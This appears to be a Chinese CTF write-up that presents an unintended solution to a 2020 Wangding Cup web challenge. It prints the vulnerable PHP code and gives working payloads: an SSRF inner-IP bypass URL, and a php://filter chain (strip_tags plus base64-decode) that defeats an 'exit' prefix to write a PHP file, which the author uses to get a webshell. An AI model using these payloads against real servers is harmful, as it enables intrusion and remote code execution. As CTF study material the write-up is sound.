今天在整理培训材料的时候意外发现了2020年网鼎杯一道Web题目的非预期解,特此记录。

题目是这样的:

index.php

<?php 
function check_inner_ip($url) 
{ 
    $match_result=preg_match('/^(http|https|gopher|dict)?://.*(/)?.*$/',$url); 
    if (!$match_result) 
    { 
        die('url fomat error'); 
    } 
    try 
    { 
        $url_parse=parse_url($url); 
    } 
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip); 
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
} 

function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) 
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    {
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        $output = curl_exec($ch); 
        $result_info = curl_getinfo($ch); 
        if ($result_info['redirect_url']) 
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); 
        var_dump($output); 
    } 
     
} 
if(isset($_GET['url'])){
    $url = $_GET['url']; 
    if(!empty($url)){ 
        safe_request_url($url); 
    } 
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally. 
?>

这是一道SSRF的题目,首先需要绕过inner ip,主要有两个思路:1.  利用 a@127.0.0.1:80@moonslow.com 绕过 2.  使用遗漏的ip地址 0.0.0.0 绕过。

提交:

/?url=http://@127.0.0.1:80@moonslow.com/hint.php

读取到hint.php文件:

<?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
    highlight_file(__FILE__);
}
if(isset($_POST['file'])){
            file_put_contents($_POST['file'],"<?php echo 'redispass is welcometowangdingbeissrfme6379';exit();".$_POST['file']);
}
?> 

这里根据提示,大多数人可能都开始去利用SSRF打redis服务了,目前网上公开的WriteUp基本也都是这样写的,但实际上,可以参考p牛文章 谈一谈php://filter的妙用 中介绍的方法绕过“死亡退出”。

唯一的区别在于,文章中所介绍的 filename 和content 是两个不同的可控参数,而此时是同一个参数,需要想办法构造和变形。

我这里使用的是:

php://filter/write=string.strip_tags|convert.base64-decode/write=?>PD9waHAgcGhwaW5mbygpOz8%2b<?/resource=a.php

下面简要介绍一下过程:

1. 原有内容会自动拼接 $_POST['file'] 。

此时拼接之后的内容变为:<?php echo 'redispass is welcometowangdingbeissrfme6379';exit();php://filter/write=string.strip_tags|convert.base64-decode/write=?>PD9waHAgcGhwaW5mbygpOz8%2b<?/resource=a.php

注意黄色文本对于php://filter来说是没有意义的,只是为了引入闭合标签和一段base64编码的shell文件内容。

2. 进行strip_tags

<?php echo 'redispass is welcometowangdingbeissrfme6379';exit();php://filter/write=string.strip_tags|convert.base64-decode/write=?>PD9waHAgcGhwaW5mbygpOz8%2b<?/resource=a.php

此时,绿色内容会被认为属于tags而被自动删掉。

3. base64_decode

此时 PD9waHAgcGhwaW5mbygpOz8%2b ,经过base64_decode 就还原成了: <?php phpinfo();?>

于是在服务器目录下就生成了一个 a.php ,内容是 :<?php phpinfo();?>

通过以上方法获取webshell 查看flag解出该题。